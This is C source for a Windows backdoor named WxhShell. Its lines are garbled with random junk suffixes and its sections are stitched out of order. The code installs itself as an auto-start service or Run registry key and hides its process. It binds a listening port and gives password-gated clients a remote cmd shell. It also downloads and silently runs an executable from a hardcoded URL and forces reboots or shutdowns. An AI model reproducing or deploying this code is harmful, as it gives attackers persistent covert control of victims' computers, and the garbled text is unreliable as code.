    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Jj xrZ+L  
    else { 9` VY)"rJ  
    closesocket(wsh); :9x]5;ma  
    ExitThread(0); i-p,x0th  
    } p0l.f`B  
    break; VQ2'a/s  
    } GiK,+M"d  
  // 获取shell aZa1eE  
  case 's': { $[Nf?`f(t_  
    CmdShell(wsh); KyP@ hhj  
    closesocket(wsh); s[/d}S@ >  
    ExitThread(0); Lc]hwMGR*  
    break; dN:^RCFzS  
  } aM#xy6:XG  
  // 退出 JX&%5sn(  
  case 'x': { lZ2g CZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]-a/)8  
    CloseIt(wsh); cG@W o8+  
    break; kJNg>SN*@#  
    } ni )G  
  // 离开 C{G=Y[?oc  
  case 'q': { -{z[.v.p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =JP Y{'VO  
    closesocket(wsh); on5\rY<I:@  
    WSACleanup(); 1~2+w]-kU  
    exit(1); _F4=+dT|  
    break; 2S[:mnK  
        } @7Ln1v  
  } >Lo'H}[pF  
  } M)wNu  
Rp:I&f$Hk/  
  // 提示信息 (sH4 T>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9U3}_  
} E(1G!uu<  
  } CQ Ei(ty  
a~JZc<ze  
  return; v/$<#2|  
} U%#Vz-r  
4&e<Sc64  
// shell模块句柄 maQxU(  
int CmdShell(SOCKET sock) j':<7n/A  
{ Pd `~#!  
STARTUPINFO si; xH,e$t#@@~  
ZeroMemory(&si,sizeof(si)); 0lOan  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |m*l/@1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >lek@euqw  
PROCESS_INFORMATION ProcessInfo; I)r6*|mz  
char cmdline[]="cmd"; e85E+S%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H ]](xYy.  
  return 0; 9q&~!>lt  
} gF2 93Ez  
%=s2>vv9  
// 自身启动模式 [x`),3qD  
int StartFromService(void) /%t`0pi  
{ Wap\J7NY  
typedef struct #\_FSr fX  
{ K9nW"0>  
  DWORD ExitStatus; =0;njL(7;  
  DWORD PebBaseAddress; zc,X5R1  
  DWORD AffinityMask; <RH%FhT  
  DWORD BasePriority; LUpkO  
  ULONG UniqueProcessId; 4[%_Bnv#AJ  
  ULONG InheritedFromUniqueProcessId; LRS,bl3}/  
}   PROCESS_BASIC_INFORMATION; .+u r+" i  
2'Kh>c2  
PROCNTQSIP NtQueryInformationProcess; qM 3(OvCt  
X_rv}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eE\T,u5:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KMl3`+i  
9>&p:+D  
  HANDLE             hProcess; t)O]0) s  
  PROCESS_BASIC_INFORMATION pbi; 'b>3:&  
h{jm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W>b\O">  
  if(NULL == hInst ) return 0; fti0Tz'  
_ KyhX|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ar_Yl|a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W%9~'pXgB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h*Mi/\  
fNyXDCl  
  if (!NtQueryInformationProcess) return 0; K>\v<!%a  
zpNt[F?~1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]'>jw#|h  
  if(!hProcess) return 0; Go]y{9+(7  
{aopGu?i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W55kR.X6M  
m5P@F@  
  CloseHandle(hProcess); n#4T o;CS  
z$/s` |]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kaECjZ _&+  
if(hProcess==NULL) return 0; o##!S6:A  
 7(o:J  
HMODULE hMod; Gu2=+?i?h  
char procName[255]; 2J3y 1  
unsigned long cbNeeded; 3YUF\L]yyw  
mWLiXKnb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4JH^R^O<n  
U:PtRSdn!b  
  CloseHandle(hProcess); IRv/[|"L  
ys7 Tq+  
if(strstr(procName,"services")) return 1; // 以服务启动 y^ st T^  
&*Kk> 4  
  return 0; // 注册表启动 DoICf1  
} [8acan+ 2l  
9sv#TT5V  
// 主模块 &=In  
int StartWxhshell(LPSTR lpCmdLine) ,WoV)L'?  
{ a'>n'Y~E  
  SOCKET wsl; $o)}@TC  
BOOL val=TRUE; 8ddBQfCY  
  int port=0; #B_H/9f(  
  struct sockaddr_in door; H5jk#^FD  
LW!4KA]  
  if(wscfg.ws_autoins) Install(); yhnPS4DC  
x69RQ+Vw  
port=atoi(lpCmdLine); &$~irI  
yi-0CHo  
if(port<=0) port=wscfg.ws_port; -BwZ  
{aU|BdATI  
  WSADATA data; {817Svp@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A9GSeW<  
wRX#^;O9?>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'Awd:Aed5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4P7r\ hs  
  door.sin_family = AF_INET; <J}JYT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =66'33l2  
  door.sin_port = htons(port); n6 c+Okj  
$KoGh_h   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }+)q/]%  
closesocket(wsl); e%=SgXl2t  
return 1; |`AJP  
} =&: |a$C  
g6?5  
  if(listen(wsl,2) == INVALID_SOCKET) { N{a=CaYi+  
closesocket(wsl); WZviC_  
return 1; $L'[_J  
} F$YT4414  
  Wxhshell(wsl); O`9vEovjs  
  WSACleanup(); 1V,DcolRY  
sP>-k7K.  
return 0; 1T4#+kW&  
b |ijkys  
} Zb<D%9  
*qr>x8OGp  
// 以NT服务方式启动 *c(YlfeZ#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q5) K  
{ <Iil*\SC  
DWORD   status = 0; r#J_;P{U  
  DWORD   specificError = 0xfffffff; pMf ?'l  
{?}^HW9{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5'|W(yR}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;[:IC^9fv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .k,,PuP  
  serviceStatus.dwWin32ExitCode     = 0; *(Z\ "o!  
  serviceStatus.dwServiceSpecificExitCode = 0; GgtYO4,  
  serviceStatus.dwCheckPoint       = 0; ~bw=;xF{3  
  serviceStatus.dwWaitHint       = 0; wF*9%K'E  
"9NWsy}<c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EO/41O  
  if (hServiceStatusHandle==0) return; T#&X7!4  
7GJcg7s*T  
status = GetLastError(); NBw{  
  if (status!=NO_ERROR) 4Q,|7@  
{ @J'tPW<$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j@/p: fk  
    serviceStatus.dwCheckPoint       = 0; @E"lN  
    serviceStatus.dwWaitHint       = 0; 79+i4(H  
    serviceStatus.dwWin32ExitCode     = status; DjvPeX  
    serviceStatus.dwServiceSpecificExitCode = specificError; 59X XmVg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E<@N4%K_Q  
    return; ,@zw  
  } ,}l|_GGj  
;Qq7@(2y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $gCN[%+j  
  serviceStatus.dwCheckPoint       = 0; *bzqH2h8  
  serviceStatus.dwWaitHint       = 0; qXoq< |  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "z-tL  
} rrG}; A  
?gMq:[X N  
// 处理NT服务事件,比如:启动、停止 y-~_W 6\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Us%g&MWdpb  
{ +DE;aGQ.z?  
switch(fdwControl) 7ab'q&Y[  
{ f @Vd'k<  
case SERVICE_CONTROL_STOP: ~G.MaSm  
  serviceStatus.dwWin32ExitCode = 0; WwxV} ?Cf+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @c).&7  
  serviceStatus.dwCheckPoint   = 0; x4v&%d=M  
  serviceStatus.dwWaitHint     = 0; E,Xl8rC  
  { j rX`_Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XR$i:kL,,  
  } B) dG:~  
  return; XQ8q)B=  
case SERVICE_CONTROL_PAUSE: *aGJ$ P0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C(M?$s`  
  break; 1E0!?kRK  
case SERVICE_CONTROL_CONTINUE: 3jHE,5m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7W>(T8K X\  
  break; Qm_;o(  
case SERVICE_CONTROL_INTERROGATE:  } #&L  
  break; qI<c47d;q  
}; 7JBr{3;eS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v<mSd2B*  
} apnpy\in  
#8y"1I=i&  
// 标准应用程序主函数  %\~U>3Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) . "7-f]!  
{ G9@5 !-  
^ ~dC&!D  
// 获取操作系统版本 01NP  
OsIsNt=GetOsVer(); >4os%T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &}\{qFD;  
-C* 6>$A  
  // 从命令行安装 uavyms^  
  if(strpbrk(lpCmdLine,"iI")) Install(); **.23<n^W  
s|X_:3\x  
  // 下载执行文件 ant2];0p  
if(wscfg.ws_downexe) { t$?#@8Yk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R 83PHM  
  WinExec(wscfg.ws_filenam,SW_HIDE); ";DozPU  
} p$` ^A  
&kT!GU^n  
if(!OsIsNt) { $9u:Ox 2  
// 如果时win9x,隐藏进程并且设置为注册表启动  ^mN`!+  
HideProc(); lwIxn1n  
StartWxhshell(lpCmdLine); b*4aUpW  
} 3_]QtP3  
else q_[`PYT  
  if(StartFromService()) s +E4AG1r  
  // 以服务方式启动 ubc k{\.  
  StartServiceCtrlDispatcher(DispatchTable); d<E2=WVB6  
else U~dqxR"Q  
  // 普通方式启动 WC b 5  
  StartWxhshell(lpCmdLine); 4JXJ0T ar  
z 0F55<i  
return 0; nswhYSX  
} !_W']Crb]]  
-#R63f&  
f*T}Ov4  
PfGiJ]:V-u  
=========================================== !sYZ1;WAO  
:z6?  
6o*'Q8h  
U /xzl4m6  
D%6}x^`Qk  
(!Xb8rV0_  
" VFm)!'=I  
H}(WL+7  
#include <stdio.h> qac:"z'9  
#include <string.h> r$Ik* R  
#include <windows.h> $4og{  
#include <winsock2.h> ^s$U n6v[  
#include <winsvc.h> ==trl#kQ%%  
#include <urlmon.h> dCLNZq h6  
/+WC6&  
#pragma comment (lib, "Ws2_32.lib") %ofq  
#pragma comment (lib, "urlmon.lib") f"^t~q[VS  
2X(2O':Uc  
#define MAX_USER   100 // 最大客户端连接数 7Q,<h8N\5  
#define BUF_SOCK   200 // sock buffer u#Bj#y!  
#define KEY_BUFF   255 // 输入 buffer ]I]G3 e  
CZ%KC$l.5  
#define REBOOT     0   // 重启 uLNOhgSUf  
#define SHUTDOWN   1   // 关机 4w]<1V  
>t.PU.OM  
#define DEF_PORT   5000 // 监听端口 ad=7FhnIa3  
=`Ky N/  
#define REG_LEN     16   // 注册表键长度 =F dFLrx~l  
#define SVC_LEN     80   // NT服务名长度 17w{hK4o8O  
1&Ma`M('  
// 从dll定义API SzFh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P2U4,?_e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?}EWfsA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); > kwhZ/x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !>&G+R+k  
J%fJF//U  
// wxhshell配置信息 a FWTm,)  
struct WSCFG { OC\cN%qlw  
  int ws_port;         // 监听端口 ^;?w<9Y  
  char ws_passstr[REG_LEN]; // 口令 SCfk!GBVD  
  int ws_autoins;       // 安装标记, 1=yes 0=no L3j ~Ooo  
  char ws_regname[REG_LEN]; // 注册表键名 S(rnVsW%Ki  
  char ws_svcname[REG_LEN]; // 服务名 B}aW y&D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T8x/&g''  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0rif,{"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 > :0N)Pj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9_Z_5w;h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #W8c)gkG9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YF%]%^n  
f/Z-dM\e  
}; vq@"y%C4  
%:dd#';g  
// default Wxhshell configuration ;2^zkmDM  
struct WSCFG wscfg={DEF_PORT, >!c Ff$2'  
    "xuhuanlingzhe", P E[5oH  
    1, )ub!tm  
    "Wxhshell", e$mVA}>Ybp  
    "Wxhshell", M R,A{X  
            "WxhShell Service", W!TT fj   
    "Wrsky Windows CmdShell Service", `}8)P#  
    "Please Input Your Password: ", '%YTM N@  
  1, 0t*PQ%  
  "http://www.wrsky.com/wxhshell.exe", Ad -_=a%  
  "Wxhshell.exe" !L_xcov!Y  
    }; s"8z q ;)  
BL%&n*&  
// 消息定义模块 715J1~aRNr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |@?='E?h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ur]WNk8bN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UY:Be8C A  
char *msg_ws_ext="\n\rExit."; WJ 'lYl0+7  
char *msg_ws_end="\n\rQuit."; ]]5(:>l  
char *msg_ws_boot="\n\rReboot..."; TBHd)BhI.  
char *msg_ws_poff="\n\rShutdown..."; 0 eOdE+  
char *msg_ws_down="\n\rSave to "; H/*i-%]v+(  
")fgQ3XZ  
char *msg_ws_err="\n\rErr!"; -ilhC Y@M  
char *msg_ws_ok="\n\rOK!"; vJW`aN1<I3  
7mb5z/N  
char ExeFile[MAX_PATH]; 4&6cDig7*2  
int nUser = 0; P)ne^_   
HANDLE handles[MAX_USER]; GW]t~EL  
int OsIsNt; 6S(`Bw8h  
5Iv"  
SERVICE_STATUS       serviceStatus; 9(bbV5}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; GW9,%}l^;  
'n?"f|G  
// 函数声明 +^$;oG  
int Install(void); HS1{4/  
int Uninstall(void); kC'm |Y@T  
int DownloadFile(char *sURL, SOCKET wsh); %,d+jBM  
int Boot(int flag); j\.e6&5%SS  
void HideProc(void); ^Je*k)COn  
int GetOsVer(void); D9n+eZ  
int Wxhshell(SOCKET wsl); -{yG+1  
void TalkWithClient(void *cs); T{BGg  
int CmdShell(SOCKET sock); 0+A#k7c6p  
int StartFromService(void); ZV07;`I  
int StartWxhshell(LPSTR lpCmdLine); za8+=?  
S:c lyx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qz!^< M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lDs C>L-F  
qtP*O#1q  
// 数据结构和表定义 CT|H1Ry2T  
SERVICE_TABLE_ENTRY DispatchTable[] = !Z;Nv  
{ V{rQ@7SE  
{wscfg.ws_svcname, NTServiceMain}, kioIyV\=  
{NULL, NULL}  yT(86#st  
}; Mv7tK l  
 ~"h V-3U  
// 自我安装 O:dUzZR['  
int Install(void) . ;D'  
{ ^brh\M,:@  
  char svExeFile[MAX_PATH]; o K&G  
  HKEY key; a$LoQ<f_  
  strcpy(svExeFile,ExeFile); AUl[h&s  
Q2!RFtXV  
// 如果是win9x系统,修改注册表设为自启动 Q%t _Epe  
if(!OsIsNt) { O@rZ ^Aa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vLCm,Bb2L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dBW4%Zh  
  RegCloseKey(key); 4_4|2L3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .O PBET(gv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xd&oERJj  
  RegCloseKey(key); K%/g!t)  
  return 0; fqol-{F.V  
    } D6EqJ,~  
  } AgdU@&^  
} /NVyzM51V  
else { zG&yu0;D6  
u 0 K1n_  
// 如果是NT以上系统,安装为系统服务 QW%xwV?8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  <XnxAA  
if (schSCManager!=0) QwI HEmdM  
{ "3?:,$*  
  SC_HANDLE schService = CreateService C,{ Ekbg  
  ( )/{~&L U  
  schSCManager, 8sL+ik"  
  wscfg.ws_svcname, j*_#{niy:  
  wscfg.ws_svcdisp, 5)M#hx%]#  
  SERVICE_ALL_ACCESS, 4o@^._-R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yLt>OA<X  
  SERVICE_AUTO_START, VO*fC  
  SERVICE_ERROR_NORMAL, yIS&ZtBA  
  svExeFile, ab<7jfFIa  
  NULL, 77G4E ,]  
  NULL, ~@iYP/=/Q  
  NULL, 1 ,6Y)_  
  NULL, m=]}Tn  
  NULL * @&V=l  
  ); .O9Pn,:  
  if (schService!=0) JWQ.Efe  
  { A2B]E,JMp  
  CloseServiceHandle(schService); [g: KFbEY  
  CloseServiceHandle(schSCManager); PMiG:bM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sAP  YQ  
  strcat(svExeFile,wscfg.ws_svcname); e?dR'*-z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6Kd,(DI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "o<&3c4  
  RegCloseKey(key); &s&Ha{(!w  
  return 0; SwhArvS  
    } e\]CZ5hs3  
  } 1ka58_^  
  CloseServiceHandle(schSCManager); et6@);F  
} _[J>GfQd  
} /6p7 k  
 ~&_BT`a  
return 1; `I5So-^&z  
} }4xz,oN  
$ 2k9gO  
// 自我卸载 ~"vRH  
int Uninstall(void) p,#**g:  
{ e&=T`  
  HKEY key; 5U/C 0{6  
Il<ezD{  
if(!OsIsNt) { \J{ %xW>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bj\oo+L/  
  RegDeleteValue(key,wscfg.ws_regname); /f,*|  
  RegCloseKey(key); qBWt(jY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;<|m0>X  
  RegDeleteValue(key,wscfg.ws_regname); /k^O1+]H  
  RegCloseKey(key); Y; q['h  
  return 0; lQer|?#  
  } ,wk %)^  
} >2< Jb!f&  
} EA!I& mBq  
else { \H.1I=<  
c(!{_+q"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QdP)-Fx  
if (schSCManager!=0) ro@`S:  
{ @*~cmf&FIQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `z`"0;,7S  
  if (schService!=0) |'12Kv]#Xa  
  { </7?puVR  
  if(DeleteService(schService)!=0) { 0'^zIL#.  
  CloseServiceHandle(schService); >J@hqW  
  CloseServiceHandle(schSCManager); }9(:W</}  
  return 0; a(eUdGJ  
  } mybjcsV4  
  CloseServiceHandle(schService); ZCCwx71j  
  } {@<EVw  
  CloseServiceHandle(schSCManager); jX{t/8v/s4  
}  .tRWL!  
} J"]P" `/  
{K+]^M  
return 1; lnRbvulH  
} MIWI0bnf  
cvQ MZ,p  
// 从指定url下载文件 dK?vg@|'  
int DownloadFile(char *sURL, SOCKET wsh) 4krK CD>|G  
{ YW)& IA2  
  HRESULT hr; pL)o@-k#%  
char seps[]= "/"; u6u1>  
char *token; h8tKYm  
char *file; ]abox%U=%  
char myURL[MAX_PATH]; _l!TcH+e  
char myFILE[MAX_PATH]; +;wu_CQu  
/YH5s=  
strcpy(myURL,sURL); ih/MW_t=m=  
  token=strtok(myURL,seps); HESORa;  
  while(token!=NULL) j`kw2(  
  { X{b qG]j  
    file=token; uE{nnNZy  
  token=strtok(NULL,seps); N6_<[`  
  } A!j6JY.w  
I^fKZ^]8P  
GetCurrentDirectory(MAX_PATH,myFILE); QBfsdu<@^  
strcat(myFILE, "\\"); `O|PP3S  
strcat(myFILE, file); (E(kw="  
  send(wsh,myFILE,strlen(myFILE),0); dD0:K3@  
send(wsh,"...",3,0); ~T<o?98  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g{?]a'?  
  if(hr==S_OK) {(!j6|jK  
return 0; F;^GhiQVS  
else Wo+'j $k  
return 1; 5//.q;z  
SB' $?Kh  
} X"qC&oZmf  
:TzHI    
// 系统电源模块 VXtW{*{"  
int Boot(int flag) C~dD'Tq]  
{ i@}/KT  
  HANDLE hToken; 5%n  
  TOKEN_PRIVILEGES tkp; W{2(fb  
Q>}*l|Ci  
  if(OsIsNt) { X}$uvB}+>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [#emm1k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3<nd;@:-  
    tkp.PrivilegeCount = 1; NbtNu$%t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O7z -4r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U`fxe`nVa  
if(flag==REBOOT) { H%:~&_D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n/fMq,<8  
  return 0; 8s_'tw/{  
} w1+xlM,,9  
else { ]"< ` ^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \Q+<G-Kb.  
  return 0; Gmi$Nl!~  
} GX+oA]  
  }  D|[~Py  
  else { KC-q]  
if(flag==REBOOT) { *VF UC:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P+Ta|-  
  return 0; (Wu_RXfCw_  
} Q!<b"8V]  
else { qUY QN2wG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K XP^F6@l  
  return 0; +) 4_1i4"x  
} jHj*S9:`  
} od\Q<Jm}  
"&ElKy 7j  
return 1; lxpi   
} PZQ n]lbak  
eVZ/3o  
// win9x进程隐藏模块 i#M$i*H*A  
void HideProc(void) ?-P]m&nh|  
{ nZbfc;da  
b[3K:ot+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :b&O{>M]Y  
  if ( hKernel != NULL ) 4Y[uqn[  
  {  S oY=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _T 5ZL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bt/u^E  
    FreeLibrary(hKernel); A3C#w J  
  } tU02t#8  
Wv]NFHe#  
return; IG1+_-H:  
} ! `yg bI.  
3rEBG0cf]  
// 获取操作系统版本 Jp<Y2-  
int GetOsVer(void) *OT6)]|k  
{ zice0({iJ  
  OSVERSIONINFO winfo; 6^pddGIG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xG05OqKpE  
  GetVersionEx(&winfo); YY (,H!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M4rOnIJ  
  return 1; k{3:$, b  
  else 6_a42#  
  return 0; hVe@:1og#  
} 8kz7*AO  
Q]7Rqslz  
// 客户端句柄模块 ]:B|_| H  
int Wxhshell(SOCKET wsl) jOppru5U  
{ <6=kwV6  
  SOCKET wsh; HY.?? 5MH  
  struct sockaddr_in client; L=u>}?!,Fj  
  DWORD myID; 72qbxPY13h  
f>Mg.9gJ(  
  while(nUser<MAX_USER) t0*JinK I  
{ ]g jhrD   
  int nSize=sizeof(client); )vB,eZq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8'Eu6H&$G  
  if(wsh==INVALID_SOCKET) return 1; ZW$PJmz  
0Bx.jx0?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )]"aa_20]  
if(handles[nUser]==0) 2 w2JFdm  
  closesocket(wsh); Dz4fP;n  
else ~ l~ai>/  
  nUser++;  }xcEWC\  
  } Fh u(u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t =ErJ  
^PY*INv  
  return 0; #WD} XOA  
} fHek!Jv.  
uUXvBA?l  
// 关闭 socket >y%*HC!G  
void CloseIt(SOCKET wsh) S&jZYq**  
{ H@$\SUc{  
closesocket(wsh); a)'^'jm)4  
nUser--; v%|^\A"V  
ExitThread(0); Z }(,OZh  
} Z!Njfq5  
-AUdBG  
// 客户端请求句柄 {O-,JCq/  
void TalkWithClient(void *cs) P8jXruZr  
{ \8%64ZL`  
Iy\{)+}aS  
  SOCKET wsh=(SOCKET)cs; pCOr{I\  
  char pwd[SVC_LEN]; =k#SQ/@  
  char cmd[KEY_BUFF]; hX\z93an  
char chr[1]; eqK6`gHa6  
int i,j; B[:-SWd  
9ZjSM,+  
  while (nUser < MAX_USER) { `<>Emc8Z  
u|l]8T9L  
if(wscfg.ws_passstr) { kYwk'\s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !ydJ{\;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l$$N~FN  
  //ZeroMemory(pwd,KEY_BUFF); }~Z1C0 t  
      i=0; PaPQ|Pwz  
  while(i<SVC_LEN) { ]+O];*T  
RkVU^N"  
  // 设置超时 P+!j[X^  
  fd_set FdRead; &K@2kq,  
  struct timeval TimeOut; %zx=rn(K  
  FD_ZERO(&FdRead); &?\ h[3  
  FD_SET(wsh,&FdRead); LJK<Xen  
  TimeOut.tv_sec=8; ngM>Tzirt  
  TimeOut.tv_usec=0; @[M5$,"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &]gw[ `  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v=15pW  
(;2J}XQvO~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {64od0:T  
  pwd=chr[0]; /an$4?":~  
  if(chr[0]==0xd || chr[0]==0xa) { ~GJJ{Bm_  
  pwd=0; GQXN1R   
  break; f.ku v"  
  } FCv3ZF?K  
  i++; :Hdn&a i  
    } 2x-67_BHY=  
W]p)}#FR  
  // 如果是非法用户,关闭 socket 0\f3La  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r'7>J:cy=  
} B d$i%.r  
@RW=(&<1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E"7 iU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5tMp@$F\{[  
5/<?Y&x  
while(1) { n:cre}0.  
SXn\k;F<  
  ZeroMemory(cmd,KEY_BUFF); @l~zn%!X  
|) {)w`  
      // 自动支持客户端 telnet标准   s u]x  
  j=0; 5/-{.g   
  while(j<KEY_BUFF) { Td%[ -  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @Y":DHF5q  
  cmd[j]=chr[0]; %k(V 2]WF  
  if(chr[0]==0xa || chr[0]==0xd) { AL%H$I  
  cmd[j]=0; <`8l8cL  
  break; =ja(;uC  
  } tPh``o  
  j++; i;!#:JX  
    } }Z5#{Sd  
D_fgxl  
  // 下载文件 ,B ]kX/W  
  if(strstr(cmd,"http://")) { p`ai2`qC`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DDh$n?2fd  
  if(DownloadFile(cmd,wsh)) Tl9KL%9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _MfXN$I?}  
  else g+Z~"O]$M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  qOO2@c  
  } QGE)Xn#_bN  
  else { :=u Ku'~  
c}K>#{YeB  
    switch(cmd[0]) { A<esMDX  
  FV|/o%XqK  
  // 帮助 ]i\C4*  
